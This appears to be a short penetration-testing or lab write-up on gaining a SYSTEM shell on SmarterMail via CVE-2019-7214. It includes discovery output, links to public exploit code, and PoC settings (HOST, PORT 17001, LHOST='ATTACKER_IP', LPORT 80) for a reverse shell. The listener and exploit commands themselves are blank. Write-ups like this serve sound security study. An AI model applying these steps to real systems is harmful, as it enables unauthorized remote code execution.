SmarterMail
SmarterMail can expose an administrative web interface and supporting services on Windows hosts. CVE-2019-7214 against the .NET Remoting service yielded a shell as NT AUTHORITY\SYSTEM.
Discovery
WhatWeb on the SmarterMail web port may show:
http://TARGET:9998 [302 Found] ASP_NET[MVC5.2], Microsoft-IIS[10.0], RedirectLocation[/interface/root], UncommonHeaders[x-aspnetmvc-version]
http://TARGET:9998/interface/root [200 OK] ASP_NET[MVC5.2], HTML5, Microsoft-IIS[10.0], UncommonHeaders[x-aspnetmvc-version]Browse to:
http://TARGET:9998Observed page:
Welcome to SmarterMailCVE-2019-7214 RCE
References from the observed path:
https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/http/smartermail_rce.md
https://github.com/devzspy/CVE-2019-7214The exploit targets SmarterMail deserialization in three endpoints. The working PoC used the exposed .NET Remoting service on TCP/17001.
Set the PoC values:
HOST='TARGET'
PORT=17001
LHOST='ATTACKER_IP'
LPORT=80Start a listener:
Run the exploit:
Successful shell:
Last updated